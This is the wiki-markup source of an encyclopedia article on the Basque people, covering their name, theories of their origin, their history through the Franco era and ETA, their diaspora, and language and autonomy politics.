:''This article is about the Basque people. For other meanings, see [[Basque]].''
{{ethnic group |
group = Basques |
image = [[Image:Ignatius_Loyola.jpg|75px|]][[Image:Louis Daguerre.jpg|75px|]][[Image:Sor_Juana.png|66px|]][[Image:Maurice Ravel.jpeg|121px|]] |
poptime = 7 million (est.) |
popplace = [[Spain]] &amp;ndash; &lt;br&gt;
&amp;nbsp; [[Álava|Araba/Álava]]: 279,000&lt;br&gt;
&amp;nbsp; [[Vizcaya|Bizkaia/Vizcaya]]: 1,160,000&lt;br&gt;
&amp;nbsp; [[Guipúzcoa|Gipuzkoa/Guipúzcoa]]: 684,000&lt;br&gt;
&amp;nbsp; [[Navarra|Nafarroa/Navarra]]: 560,000&lt;br&gt;&lt;br&gt;
[[France]]: 730,000 (1993)&lt;br&gt;
[[United States]]: 47,956 (1990)&lt;br&gt;
[[Argentina]]: 3,600,000 have Basque origin (2004, est.)&lt;br&gt;
[[Uruguay]]:  35,000 have Basque origin (2004, est.)&lt;br&gt;
|
langs = [[Basque language|Basque]] [[monoglot]]s: Few.&lt;br&gt;
[[Spanish language|Spanish]] monoglots: 1,525,000 (est.)&lt;br&gt;
[[French language|French]] monoglots: 654,000 (est.)&lt;br&gt;
Basque + Spanish: 600,000 (est.)&lt;br&gt;
Basque + French: 76,200 (1991)&lt;br&gt;
other: ? |
rels = Predominantly [[Roman Catholic]] |
related = (none)|
}}

The '''Basques'''  are an [[indigenous people]] who inhabit parts of both [[Spain]] and [[France]].  Basques, being themselves native to [[Navarre]], are predominantly found in an area known as the [[Basque Country]], consisting of four provinces in Spain and three in France, located around the western edge of the [[Pyrenees]] on the coast of the [[Bay of Biscay]]. The Basques are known in local languages as: 

*''euskaldunak'' (&quot;Basque speakers&quot;) or ''euskotarrak'' (&quot;ethnically Basque people&quot;) in [[Basque language|Basque]] 
*''Vascos'' in [[Spanish language|Spanish]] (or the older term ''Vascongados'', which strictly speaking applies only to those Basques who live in the three [[provincias Vascongadas]]) 
*''Basques'' in [[French language|French]] 
*''Bascos'' in [[Gascon]]

This article discusses the Basques as an [[ethnic group]] or, as some view them, a [[nation]], rather than other ethnic groups living in the Basque areas. The coverage here of the history of the Basque region focuses on how it bears on the Basques as a people.

==Etymology of the word ''Basque''==
The English word Basque comes from [[French language|French]] ''Basque'' (pronounced {{IPA|/bask/}}), which itself comes from [[Gascon]] ''Basco'' (pronounced {{IPA|/ˈbasku/}}) and [[Spanish language|Spanish]] ''Vasco'' (pronounced {{IPA|/ˈbasko/}}). These, in turn, come from [[Latin]] ''Vasco'' (pronounced {{IPA|/wasko/}}), plural ''Vascones'' (see History section below).  The Latin [[labial-velar approximant]] /w/ typically [[betacism|evolved into]] the [[voiced bilabial plosive]] /b/ in Gascon and Spanish, probably under the influence of Basque and [[Aquitanian language|Aquitanian]] (a language related to old Basque and spoken in [[Gascony]] in [[Classical antiquity|Antiquity]]). This explains the Roman [[pun]] at the expense of the Aquitanians (ancestor of the Gascons): &quot;Beati Hispani quibus vivere bibere est&quot;, which translates as &quot;Blessed [[Iberians|Iberian]]s [the Romans considered the Aquitanians akin to the Iberians], for whom living (vivere) is drinking (bibere)&quot;.

One frequent theory about the origin of Latin ''Vasco'' is that it derives from Latin ''boscus'' or ''buscus'' meaning &quot;wooded area&quot; (cf. Spanish ''bosque'', forest). Thus ''Vascones'' would mean &quot;those living in the wooded land&quot;. However, this fake etymology is now proven wrong, as Latin ''boscus''/''buscus'' only appeared in the [[Middle Ages]], and is probably a corruption of classical Latin ''arbustus'' (meaning &quot;planted with tree&quot;, from ''arbor'', &quot;tree&quot;), possibly under the influence of [[Germanic languages|Germanic]] ''busk'' or ''bosk'' (cf. English bush, [[German language|German]] ''Busch''), whose origin is itself unknown.

Another side of that theory sees Latin ''Vasco'' still meaning &quot;of the wooded land&quot;, but this time coming from (modern) Basque ''basoko'' where ''baso-'' means forest, and ''-ko'' is the ending denoting possession/genitive. Besides the fact that ''basoko'' is a modern Basque word (it may have been quite a different word 2000 years ago), this etymology once popular among Basque people is now totally discredited by researchers.

To add to the mystery, several coins from the [[1st century BC|1st]] and [[2nd century BC|2nd centuries BC]] were found in the north of Spain, bearing the inscription ''barscunes'' written in the [[Iberian alphabet]]. The place where they were minted is not certain but has been identified as [[Pamplona]] or [[Rocafort]], the area where historians think the ''Vascones'' lived.

Today, it is thought that Latin ''Vasco'' comes from a Basque and Aquitanian root used by these people to call themselves. This root is ''eusk-'', pronounced {{IPA|/ewsk/}}, which is indeed close from Latin {{IPA|/wasko/}}. There was also an Aquitanian people whose name the Romans recorded as [[Auch#The Ausci|Ausci]] (pronounced {{IPA|/awski/}} in Latin), and which also seems to come from the same root.

In modern Basque, Basques call themselves ''euskaldunak'', singular ''euskaldun'', formed from ''euskal-'' (i.e. &quot;Basque (language)&quot;) and ''-dun'' (i.e. &quot;one who has&quot;), so ''euskaldun'' literally means a Basque speaker. It should be noted that not all Basques are Basque speakers (''euskaldunak''), and not all Basque speakers are Basque (foreigners who learnt Basque are also ''euskaldunak''). To remedy this inconvenience, a [[neologism]] was coined in the nineteenth century, the word ''euskotar'', plural ''euskotarrak'', which means an ethnically Basque person, whether speaking Basque or not.

These Basque words all originate from the name the Basques use to call their language: ''euskara''. Modern researchers have reconstructed the pronunciation and vocabulary of ancient Basque, and Alfonso Irigoyen proposes that the word ''euskara'' comes from the verb &quot;to say&quot; in ancient Basque, which was pronounced ''enautsi'' (modern Basque ''esan''), and from the suffix ''-(k)ara'' (&quot;way (of doing something)&quot;). Thus ''euskara'' would literally mean &quot;way of saying&quot;, &quot;way of speaking&quot;. Evidence of this theory is found in the Spanish book ''Compendio Historial'' written in 1571 by the Basque writer [[Esteban de Garibay]], who recorded the native name of the Basque language as &quot;''enusquera''&quot;. However, as with most things related to Basque history, this hypothesis is not totally certain.

In the nineteenth century, the Basque nationalist activist [[Sabino Arana]] thought that there was an original root ''euzko'' from ''eguzkiko'' (&quot;of the sun&quot; presuming a [[solar religion]]). From it he created the [[neologism]] [[Euzkadi]] for his purported independent Basque Country. This theory is totally discredited today, the only serious etymology being from ''enautsi'' and ''-(k)ara'',  but the neologism Euzkadi, in the regularized spelling [[Euskadi]], is still widely used in Basque and Spanish.

==History==
=== Origin of the Basques ===
The key sources for the early history of the Basques are the classical writers, especially [[Strabo]], who in the 1st century AD reported that the north of modern-day [[Navarre]] and [[Aragon]] (the area immediately east of the modern-day [[autonomous community]] of the [[Basque Country (autonomous community)|Basque Country]]) was inhabited by a people known as the Vascones. Although the word ''Vascones'' is clearly related to the modern word &quot;Basque&quot;, we do not know for sure if the ''Vascones'' were indeed the ancestors of the modern Basques, or whether they spoke an old form of the [[Basque language]]. Surviving place names and a few personal names tend to suggest they spoke old Basque, but we cannot be sure. 

On the territory of the present Basque Country lived three different peoples: the Vardulli, the Caristi, and the Autrigones. Nobody knows if these three peoples were related to the Vascones, or if they spoke a language related to old Basque, as they have left no written records. Some researchers, based on the meager historical evidence we possess, think that they were [[Celtiberian]] peoples, speaking languages not related to old Basque, but we cannot be sure. In fact, the place where a Basque-related language is the best attested is [[Gascony]], in the southwest of France, where the local [[Aquitaine|Aquitanians]] spoke a language which may be related to Basque (this extinct Aquitanian language should not be confused with [[Occitan language|Occitan]], a Romance language spoken in Aquitaine since the beginning of the Middle Ages).

Later in the period of the [[Roman Empire]], the ''Vascones'' seem to have moved west into what is the present Basque Country  (while some also clearly stayed in Navarre), either absorbing or displacing the Vardulli, Caristi, and Autrigones, and from this emerged the Basque nation.''
The pre-history of the Basques before that time is necessarily conjectural. Among the theories in contention are:

# The Basques arrived as part of the [[Indo-European]] invasion of [[Europe]], ''circa'' 2000 BC.
# The Basques arrived far earlier, when the [[Cro-Magnon]] invasion displaced the [[Homo neanderthalensis]].

In any event, it is widely believed that the Basques have occupied a single region of Europe longer than any other identifiable ethnic group. There is also considerable evidence that the Basque language was once spoken over a much wider area than the modern day Basque country.
The [[Middle Ages]] and the [[Reconquista]] extended the Basque territory beyond the limits of the Roman age.

==== Did the Basques arrive with the Indo-Europeans? ====
One theory of the origins for the Basques has them arriving along with the Indo-Europeans four thousand years ago.  There have been later examples of such an event.  During the [[Germanic migrations]] that swept Europe after the fall of Rome, for instance, almost all the tribes were Indo-Europeans, except the [[Huns]] and the [[Eurasian Avars|Avars]]. 

Furthermore it is now believed the Indo-Europeans began their invasion of Europe from a position just north of, and between, the [[Black Sea]] and [[Caspian Sea]]. South of this region is the [[Caucasus (geographic region)|Caucasus]], a small and mountainous region home to some thirty separate languages, from two separate language groups of which there are no other relatives. Similarities between Basque and the [[Caucasian languages|Caucasian language groups]] have been advocated on a number of occasions.  It has been argued that a group of Caucasians could have joined the invasion of Europe by the Indo-Europeans who were departing just north of them. However, the relationship between Basque and the Caucasian languages is denied by authors such as [[Larry Trask]] who see no evidence of a connection (and most modern scholars agree with this view), leaving little evidence for this theory.  

A second argument against the idea of the Basques arriving sometime around the arrival of the Indo-Europeans is archaeological.  There is no evidence of a new group of people arriving in the Basque Country at this time.  While traditions changed (for instance the building of [[dolmen]]s slowly faded out) such changes often occur internally to a culture rather than through the arrival of immigrants.

====Do the Basques date back to the Cro-Magnon invasion of Europe?====
The only archaeological evidence for an invasion of the Basque Country dates some 40,000 years ago when [[Cro-Magnon]] people first arrived in Europe and superseded ''[[Homo neanderthalensis]]''.  It is possible that the ancestors of the Basques first arrived in Europe at this time, but the archeological evidence is shaky. Another possibility is that a precursor of the Basque language may have arrived with the advance of [[agriculture]], some 6,000 years ago. There is also an extended supposition, where some Basque mythological creatures called &quot;[[jentilak]]&quot; (these were huge and extremely strong humanoids who lived hidden in the forest) are thought to be related to the Neanderthal men, strengthening the theory of the Basques in the Cro-Magnon age. Note, though, that the myth of the [[Wild Man]] is not exclusively Basque.

DNA methods to seeking ancient ancestry are increasingly in use [http://cmpg.unibe.ch/teaching/HGH_3rdcourse_2005.pdf] [http://www.ingentaconnect.com/content/bsc/ahg/2005/00000069/00000006/art00006], [http://news.boisestate.edu/newsrelease/archive/2005/072005/0726basquedna.html], This is a particularly powerful tool for this purpose, although it can have technical problems [http://www.ingentaconnect.com/content/bsc/ahg/2005/00000069/00000006/art00006]. An interesting aside is that Parkinson's disease may relate to the Basque dardarin mutation [http://www.mdvu.org/emove/article.asp?ID=811].  However, &quot;...there is a general consensus scientific that the Basques represent the most direct descendants of the hunter-gatherers who dwelt in Europe before the spread of agriculture, based on both linguistic and genetic evidence...&quot; [http://mbe.oxfordjournals.org/cgi/content/full/21/7/1361].

The Basque people are widely thought to be descended from some of the earliest human inhabitants of Europe; their genetic markers also show a very strong relationship with the [[Celt]]s. See e.g. [http://www.pnas.org/cgi/content/full/98/9/5078#B30]. The genetic markers shared in common between the Basque and Celts are suggestive of having passed through a genetic bottleneck during the peak of the last [[ice age]], which would mean they were in Europe by at least about 17,000 years ago, and probably 45,000 to 50,000 years ago.
For some authors, the Basque language also shows signs of dating back to the stone age, such as by having words for knife and axe that may come from the root word for stone {{ref|KurlanskyHaitz}}- suggesting that the language developed when knives and axes were made of stone.
[[Luis Villasante]] has proposed Latinate etymologies though.

====Thousands of years in the same region====
Regardless of which theories are correct, it is quite likely that the Basques arrived before the [[Indo-European]]s and thus that they are the oldest continuously surviving people inhabiting a particular location in Europe. It is believed that they have lived in or near their present location for thousands of years, a relatively small group of people surviving when many others were overwhelmed by invaders.  A number of early Basque writers sought to explain this, in keeping with the academic fashion of their time, through speculation about racial superiority, but the endurance of the Basques can also be explained by good fortune: they happened to be in the right place over and over again.  

Whether the Basques chose their easily defended home in the Pyrenees or were forced into it at some time in the past, it is common for mountainous regions, as for islands, to remain as bastions of an  otherwise vanished culture or people. In a similar manner, for example, when the extensive Celtic cultures of Europe were overwhelmed by invaders, the only remaining areas speaking [[Celtic language]]s were [[Ireland]] and a number of remote mountainous or coastal bastions in [[Brittany]], [[Scotland]], [[Wales]] and so forth which still retain Celtic speakers to the present day. Despite the fact that new research has claimed that the Basque speaking populations may share genetic markers with populations of [[Celts]] in [[Ireland]] and [[Wales]] - [http://news.bbc.co.uk/1/hi/wales/1256894.stm], there is little reason to suppose that [[Indo-European]] Celtic languages are closely related to Basque. It may be the case that older British populations related to the Iberian population switched to Celtic, but we can only speculate on whether these ancient Irish and British speakers were using a precursor to Basque or some other language.  

In any case, the Basque homeland is well suited to survival.  Its low mountains are combined with dense forests and vegetation which make it impassable to outsiders ''en masse'', but still temperate enough to support a large agricultural base&amp;mdash;one where the soil is poorer than the surrounding plains, leaving the area a much less tempting target for invaders. Furthermore, the Basque areas have few reserves of precious metals, especially in comparison to the gold reserves to the west in Spain or to the wealth in [[Gascony]] just to the north.  The Basques seem to have ended up in the best locale on the European continent for uninterrupted survival.

===Roman rule===
The north-west of Spain, including the Basque regions, was first reached by the Romans under [[Pompey]] in the [[1st century BC]], but not consolidated until the time of the Emperor [[Augustus]].  The looseness of Roman rule well suited the Basques, who retained their traditional laws and leadership. This poor region was little developed by the Romans and there is not much evidence of Romanization; this certainly contributed to the survival of the separate Basque language. 

A large Roman presence was situated in the garrison of Pompaelo (now [[Pamplona]]), a city founded by Pompey on the south side of the Pyrenees. The area to the north was conquered after a fierce campaign in which the Romans fought against the Cantabrians (see [[Cantabrian Wars]]). There are archaeological remains from this period of garrisons situated to protect the commercial routes all along the Ebro river and along a [[Roman causeway]] between [[Astorga (Spain)|Asturica]] and [[Burdigala]]. 

The Basques were used by the Romans to guard their empire.  For example, a unit of Vardulli was stationed on [[Hadrian's Wall]] in the north of Britain for many years, and at some time earned the title ''fida'' (faithful) for some now forgotten service to the emperor.  Even today, nationalist Basques look back on the Roman Empire as an ideal time, claiming that even though there was no Basque independence, the Basques still had almost total internal control.  As well as their lack of exposure to Roman garrisons, the survival of Basque culture was aided by the fact that the Basque Country was a poor region.  It had no unused cropland that could be used to settle Roman colonists and it had few commodities that would interest the Romans.  Only a small number of Roman traders would have come there.  This isolation is no doubt what allowed Basque to survive and not be overwhelmed by Latin as other languages were.

===Middle Ages===
The history of the Basque Country darkens, however, with the arrival of the Germanic peoples and the collapse of the Roman Empire.  Rather than being an isolated area in the centre of a large empire, the Basques were placed at the border between the warring [[Visigoths|Visigothic]] and [[Franks|Frankish]] kingdoms.  The Basque Country became a strategically important territory desired by both sides.  

At the same time, the Basques lost their lifestyle, which was dependent on trade with the Roman Empire. These two changes transformed the Basques from being one of the most docile people in Europe into a group of dedicated warriors bent on survival.  An important Basque king of approximately this time was [[Iñigo Arista]] (Iñigo (Eneko) the Oak) (c.781–852) first King of Pamplona.  There are scattered reports from this period of presumed Basque brigands (in Latin, ''[[bagaudae]]'') in [[Aquitaine]] and Spain stealing those things which they used to be able to trade for.  Most of the confrontations with the Basques were, however, instigated by outsiders.  Both the Franks and Visigoths sent armies through the Basque Country repeatedly.  

The rugged Basque territory is ideal for banditry and it is not surprising that the Basques could still survive despite oppressive neighbours.  Just as in every time of persecution in their history, the Basques simply moved to the hills and held out there until the threat had gone.

The Basques also proved during this period that despite the lack of central authority, they could protect their homeland when the need arose.  After [[Charlemagne]]'s Franks invaded northern Spain, they returned home and ''en route'' pillaged the  Basque Country.  The Basques, however, intercepted the Frankish army while it made its way through a [[mountain pass]].  Despite poor weaponry and fewer fighters the Basques destroyed much of the Frankish force.  The [[Battle of the Roncesvalles Pass]] was the only major defeat Charlemagne suffered in his long career.  These events were immortalized in the French-language ''[[Chanson de Roland]]'' ([[Song of Roland]]), an important piece of medieval verse which in at least some versions refuses to mention the Basques but instead refers to them as Moors and demons.  

The Basques did not similarly mobilise against the [[Islam|Islamic]] invaders who, just a few years earlier, had seized most of the Iberian peninsula.  Although Christians, Basques did not resist the Muslim advance; it was stopped only by Frankish troops in [[Poitiers]]. Later, the Christian kingdom of Pamplona (later the [[Kingdom of Navarre]]) and the short-lived Muslim kingdom of the Banu-Qasi [[Muladi]]s (indigenous converts), with its capital in [[Tudela]], had an alliance with cross-marriages.  However. the Basques did take part in the ''[[Reconquista]]''. The frontier land of Alava was secured and the neighbouring kingdoms called Basques to colonize the new territories, mainly in [[La Rioja]] and parts of Castile.  At one point, the kingdom of Navarre extended southwards beyond the [[Ebro]] river.  In a later age, Basque mariners were to take part in the sea battles of the Castilian conquest of Andalusia.

Most of the western part of the present Basque Country (Guipúzcoa, Vizcaya and Álava) became from time to time part of the Kingdom of Navarre or the kingdom of [[Castile]], in each case so long as the king pledged allegiance to their local laws or ''[[fueros]]''.

Basques began hunting whales in the Bay of Biscay as early as the [[9th century]]. At least six Basque towns incorporated whales or whaling into their [[coat of arms]].

During the [[Late Middle Ages]], the Basque towns were divided in clashes among families, later polarized in two bands ([[Agramont]] and [[Beaumont]] in Navarre, Oñaz and Gamboa in Biscay).
Local nobility built towerhouses, nowadays razed by fires and kingly decrees.
(Compare with the earlier Italian [[Guelphs]] and [[Ghibellines]]).

===From the Renaissance Era to the 19th Century===
[[Image:GernikakoArbola.jpg|200px|thumb|The [[Gernika oak]] is a symbol of Basque freedoms.]]
As the [[Middle Ages]] came to an end, the Basque lands came to be divided between France and Spain. Most of the Basque population ended up in Spain, a situation which persists to this day. The Navarrese and the Basques from Guipúzcoa, Vizcaya and Álava were able to keep a large degree of self-government of their provinces in Spain and France, functioning practically as separate nation-states: the ''fueros'' gave each Basque province separate local laws, taxes and law courts. The Basques, serving under the Spanish flag, were renowned mariners, and at the end of the [[16th century]], taught Dutch sailors how to use the [[harpoon]] for [[whaling]]. Spanish ships with many Basque sailors were some of the first Europeans to reach North America, and many early European settlers in Canada and the United States were of Basque origin.

The [[Protestant Reformation]] made some inroads, supported by [[Jeanne d'Albret]], queen of [[Lower Navarre]]. 
In the 16th century, around [[Bayonne, France|Bayonne]], a Basque-speaking [[bourgeois]]ie induced the printing of Basque-language books, mostly with Christian themes. Protestantism was however persecuted by the [[Spanish Inquisition]], and, in the Northeast, the Protestant Navarrese king converted to Roman Catholicism and became king [[Henry IV of France]]. 

The self-government of the northern Basque provinces came to an end with the [[French Revolution]], which centralized government and abolished all of the various local privileges granted by the ''[[ancien régime]]''. Some Basques were pushed to counter-revolutionary positions while others actively participated, even writing a Basque constitutional project by Basque revolutionary [[Garat]]. It brought the Basque Country to the [[Convention War]] ([[1793]]), with all Basque territories being nominally French for a time. Later on, when the [[Napoleon]]ic Army invaded Spain, it had almost no trouble in keeping the southern Basque provinces loyal to the occupier, and the southern Basque Country was the last part of Spain kept by the French because of this lack of resistance (see [[Battle of Vitoria]]). It all ended with the [[August 31]], [[1813]] [[burning of San Sebastian]]; 

[[Image:1850espanya.jpg|thumb|left|Political Spain in 1854, after the first [[Carlist]] War]]In Spain, with some irony, through the various civil wars of the [[19th century]] the [[Fueros|''fueros'']] were upheld by the traditionalist and nominally [[absolute monarchy|absolutist]] [[Carlism|Carlists]] and opposed by the victorious constitutional forces. The southern Basque provinces and Navarre made up the backbone of the ([[Carlism|Carlist]]) upheavals, which sought to give the crown of Spain to the male heir Carlos (and, later, to the heirs of his line), who promised to defend the [[Fueros|Basque foral System]].

Very much Christianized at that time, and fearing that, under modern liberal uniformizing constitutions they would lose their self-government or ''Fueros'', Spanish Basques massively joined the traditionalist army, which was mostly paid by the provincial governments of the Basque provinces. The forces of the [[Isabeline Army]] on the other hand had a vital participation of British (whose Irish legion (''Tercio'') was virtually annihilated by the Basques on the [[Battle of Oriamendi]]), French (also with an important [[Algeria|Algerian]] legion), and Portuguese legions and those governments support against the Basques. During the [[First Carlist War]], as the differences between the Apostolic (official) and the Navarrese (Basque basis) parties inside the Carlist rebel band grew, the latter signed an armistice which included the promise by the Spaniards of keeping Basque self-government. As this promise was not accomplished fully, there was a further upheaval, the [[Second Carlist War]], which ended in a similar way. Ultimately, the Basque provinces and Navarre lost most of their autonomous power, but retained control over fiscal laws and collections with [[Ley Paccionada]], a power they still retain in modern day Spain in the form of fiscal ''[[conciertos]]'' with the national government in Madrid.

Thus the same wars that brought relative liberty to most of Spain abolished most (but not all) of the traditional liberties of the Basques. However, the Spanish Basque provinces retained the widest autonomy in peninsular Spain, but far less than they had previously experienced.

However, the advance of Spanish customs from the Basque borders to the French border formed a new protected market in Spain for the incipient Basque industry.

*[[Fernand Braudel|Braudel, Fernand]], ''The Perspective of the World'', 1984

===Modern history===
The new markets encouraged the replacement of the old forges by modern [[blast furnace]]s, that processed the local iron ore instead of sending it to Britain. The mining and the iron industry required workers, first among Basque peasants, later from the surrounding Navarre, Castile, Rioja, and farther away in Galicia and Andalusia. The awful conditions of these workers (Biscay had one of the highest mortality rates in Europe) prompted the diffusion of leftist ideologies.

The end of the 19th century witnessed the appearance of the new [[Basque nationalism]] which came with the foundation of the Basque Nationalist Party ([[EAJ-PNV]]), in which [[Christian-Democratic]] ideas were mixed with racism against Spanish immigrant workers who were seen as perverting the purity of the mythical Basque race. The party asked for independence or at least autonomy.

In [[1931]] Spain became a Republic and soon [[Catalonia]] (the next most ethnically distinct region inside Spain, also with a strong independence movement) was given self-government. However, the Basques had to wait until the [[Spanish Civil War]] was already under way to be granted the same rights.

Basques fought on both sides in the Spanish Civil War, with [[Basque nationalist]]s and [[left-wing politics|leftists]] from Biscay and Guipúzcoa siding with the [[Second Spanish Republic]], and the Navarrese Carlists siding with General [[Francisco Franco]]'s insurgent forces (who were known in the rest of Spain as &quot;Nacionales&quot;&amp;mdash;literally &quot;Nationals&quot;, usually rendered in English as &quot;Nationalists&quot;&amp;mdash;a very misleading phrase in Basque terms). Today, some Basque nationalists claim that the Spanish Civil War was a war of Spain against the Basques, despite there having been Basques on both sides. There is no question, though, that one of the greatest atrocities of this war was the bombing of [[Guernica]], the traditional [[Biscay]]ne capital, by [[Legion Condor|German planes]]. Much of the city was destroyed and a great deal of Basque history was erased. 

In [[1937]], roughly halfway through the war, [[Eusko Gudarostea|the troops]] of the [[Autonomous Basque Government]] surrendered in [[Santoña]] to [[Corpo Truppe Volontari|the Italian allies]] of General Franco on condition that the Basque heavy industry and economy was left untouched, beginning one of the hardest periods of Basque history in Spain. For many leftists in Spain this event is known as the ''[[Treason of Santoña]]''. After the war, Franco began a dedicated effort to consolidate Spain as a uniform [[nation-state]]. Franco's regime introduced severe laws against all Spanish minorities, not least the Basques, in an effort to suppress their cultures and languages. Considering Biscay and Guipúzcoa as &quot;traitor provinces&quot;, he abolished the remains of their autonomy, but Navarre and Alava maintained small local police forces and some tax self-government. 

The backlash against these actions created a violent Basque separatist movement. The armed group responsible for most of the attacks is known as [[Euskadi Ta Askatasuna]] (ETA), meaning &quot;Basque land and Liberty&quot;. Franco's death and the end of his regime saw an end to most repression and the creation of an autonomous Basque region in Spain, but not an end to separatist violence, which [[as of 2005]] has resulted about 850 deaths in the intervening 30 years.  Between 1979 and 1983, the Basque Country and surrounding areas were granted extensive autonomy by the Spanish government.  This autonomy includes an elected parliament, police force, educational system, tax system, etc.

Navarre was offered the opportunity to join the autonomous Basque Country, but chose the status of a separate autonomous region.

==The Basque diaspora==
{{main|Basque diaspora}}
The Basque [[diaspora]] is a name given to describe the dispersion of the [[Basque people]] throughout the world.  The Basques do not have an independent country to call their own, being divided between the [[Spain|Spanish]] and [[France|French]] states. Many Basques have left the [[Basque Country]] for other parts of the globe for economical or political reasons.

Large number of Basques have immigrated to [[Argentina]], [[Chile]], [[Mexico]] and the [[United States]]. In both countries places were named after Basque names such as [[New Biscay]], now [[Durango]] in Mexico and [[Durango]] and [[Biscayne Bay]] in the United States. In Mexico most groups concentrated in the [[Monterrey]] area and the region of Durango. 

The largest Basque community in the [[United States]] is in the [[Boise, Idaho|Boise]], [[Idaho]], area. Boise is home of the Basque Museum and Cultural Center and hosts a large Basque festival known as Jaialdi every five years. [[Reno, Nevada|Reno]], [[Nevada]], home of the Basque Studies Department at the [[University of Nevada]], also has a significant Basque population.

==Geography and distribution==
The current autonomous Basque area of Spain, known as ''&quot;Euskadi&quot;'' in [[Basque language|Basque]], ''&quot;[[País Vasco]]&quot;'' in [[Spanish language|Spanish]], ''&quot;[[Pays Basque]]&quot;'' in [[French language|French]] and the &quot;[[Basque Country (autonomous community)|Basque Country]]&quot; in [[English language|English]], is composed of three provinces or territories: [[Álava|Araba/Álava]], [[Vizcaya|Bizkaia/Vizcaya]] and [[Guipúzcoa|Gipuzkoa/Guipúzcoa]] (in each case, this is the Basque name followed by the Spanish name). There are 2,123,000 people living in the Basque Country: Araba, 279,000; Bizkaia, 1,160,000; and Gipuzkoa, 684,000.  The most important cities are: [[Bilbao|Bilbo/Bilbao]] (in Bizkaia), [[San Sebastián|Donostia/San Sebastián]] (in Gipuzkoa) and [[Vitoria|Gasteiz/Vitoria]] (in Araba). Both Basque and Spanish are official languages. Knowledge of Spanish is virtually universal; 27 per cent of the people speak the Basque language, but this number is increasing for the first time in many centuries, due to official promotion and popular sympathy.

There is also a substantial Basque feeling among the population of the adjacent Spanish autonomous community and province of Navarre, and in nearby parts of France &amp;mdash; see [[Basque Country]] for more information. There is at least some ethnic Basque presence in many countries of the Americas, including [[Mexico]], [[Argentina]], [[Chile]], [[Ecuador]], [[Peru]], [[Uruguay]], [[Venezuela]] and a community in [[Idaho]], eastern [[Nevada]], south [[Texas]], and throughout [[California]] who first came over to herd [[domestic sheep|sheep]].

The destination of the majority of Basque emigrants was [[Argentina]], with Basque culture contributing much to Argentine culture. There are Basque cultural centres in most large cities, as well as ''pelota'' courts and Basque language schools. Many places have been given Basque names, including the main international airport, ''[[Ezeiza]]''. Several of [[List of Presidents of Argentina|Argentina's Presidents]] have been of Basque descent, including [[Hipólito Irigoyen|Irigoyen]], [[Pedro Eugenio Aramburu|Aramburu]] and [[Justo José de Urquiza|Urquiza]], not to mention other figures, notably [[Che Guevara]]. There are an estimated 15,000 surnames in Argentina of Basque descent.

Chile also received many Basque emigrants.  For example, [[Augusto Pinochet]] is of Basque descent (via his mother's maiden surname, Ugarte).

The largest community of Basques in [[North America]] exists in the greater [[Boise]] area. Boise is home to the Basque Museum &amp; Cultural Center.  The area around the center includes a variety of stores and restaurants featuring Basque culture in a so-called &quot;Basque block.&quot;  The current mayor of Boise, [[David H. Bieter]] is Basque.  Another large community of Basques live in the [[California Central Valley|Central Valley]] of California, primarily in the city of [[Bakersfield]].  In Bakersfield you will find several Basque restaurants and the Basque hall, which annually holds a major Basque picnic.  Many early immigrants went to Bakersfield for the agricultural and sheep herding opportunities. Another area is in the deep of South Texas along the [[Rio Grande River]].  The area surrounding the [[Rio Grande River]] near the current Texas [[Starr County]], [[Zapata County]], and [[Hidalgo County]] as well as areas within the Mexican states of [[Nuevo Leon]] and [[Tamulipas]], Spanish surnames of Basque descent show up as Spanish Land Grant owners in historical documents. Most of these grants were used for ranching and agriculture in much the same way sheep herding was used in the Basque land. This part of Texas boasts some of the largest ranches in Texas today. Some of these surnames, such as the surname [[Garza]], show up in many political ballots as well as hold high offices in politics. One of the richest families in the world and of [[Mexico]] carries this Basque surname. One city with a Basque name in [[Mexico]], [[San Pedro Garza García]], has the highest income per capita in all of Latin America and Mexico. In the [[Caribbean]], Basque descendants exist in the hills of [[Esperón]] in the province of [[Habana]], where many originally settled during the Spanish colonial period.

==Political conflicts==
===Language===
Both Spanish and French governments have, at times, tried to suppress Basque [[linguistic]] and cultural identity. The [[French Republics]], the epitome of the [[nation-state]], have a long history of attempting the complete cultural absorption of ethnic minority groups. Spain has, at most points in its history, granted some degree of linguistic, cultural, and even political autonomy to its Basques, but under the [[Spain under Franco|regime of Francisco Franco]], The Spanish government reversed the advances of Basque nationalism, as it had fought in the opposite side of the Spanish Civil War: cultural activity in Basque was limited to folkloric issues and the [[Catholic Church]].

Today, the Basque Country within Spain enjoys an extensive cultural and political autonomy. Many schools in the region use Basque as the primary language of education. According to the BBC &quot;over 90% of Basque children are now enrolled in Basque-language schools&quot;. However, in Navarre, Basque has been declared an endangered language, since the conservative government of ''[[Unión del Pueblo Navarro]]'' opposes Basque nationalism and symbols of Basqueness, highlighting Navarre's own autonomy.{{ref|EBLUL}}

The promotion of Basque has caused protests by those who fear that monolingual Spanish speakers could be left as second-class citizens.
Spanish is today essential for everyday life, though.

===Political status===
{{Template:POV-section}}
Basque nationalism has pleaded for greater power of Basque institutions. Some [[Basque nationalism|Basque nationalists]] claim that the Basque Country has the right of [[self-determination]], including eventual [[independence]]. The desire for independence is particularly common among [[left-wing politics|leftist]] Basque nationalists. The right of self-determination was claimed by the [[Basque Parliament]].&lt;!-- when? --&gt;
Since self-determination is not recognized in the [[Spanish Constitution of 1978]], many Basques abstained or voted against in the referendum of [[December 6]] of that year. However it was approved by a [[majority]] at the Spanish, Navarrese and Basque levels, and the derived autonomous regimes for the Basque Country and Navarre were approved in later referenda by the respective populations.

Basque nationalist activity has a violent form in ''[[Euskadi Ta Askatasuna]]'' (ETA), an armed organization that uses murder, bombs and kidnappings against what they hold as &quot;Spanish interests&quot;.

In the fight against ETA, the Spanish government and courts have taken controversial measures like:
* Banning of the democratically elected political coalition [[Batasuna|HB-Batasuna]] in 2002 (and successive coalitions) as well as other political organisations, as the judges considered they were part of ETA, sharing goals and resources with at group considered to be terrorists. The candidature of the new [[Herritarren Zerrenda]] (HZ) in the [[European Parliament election, 2004]] has been banned in Spain, although it is legal in France. Despite the banning, 120,000 Basques voted for HZ with illegal ballot papers in the last EU elections (15% of Basques in Spain and 7% in France voted to HZ).
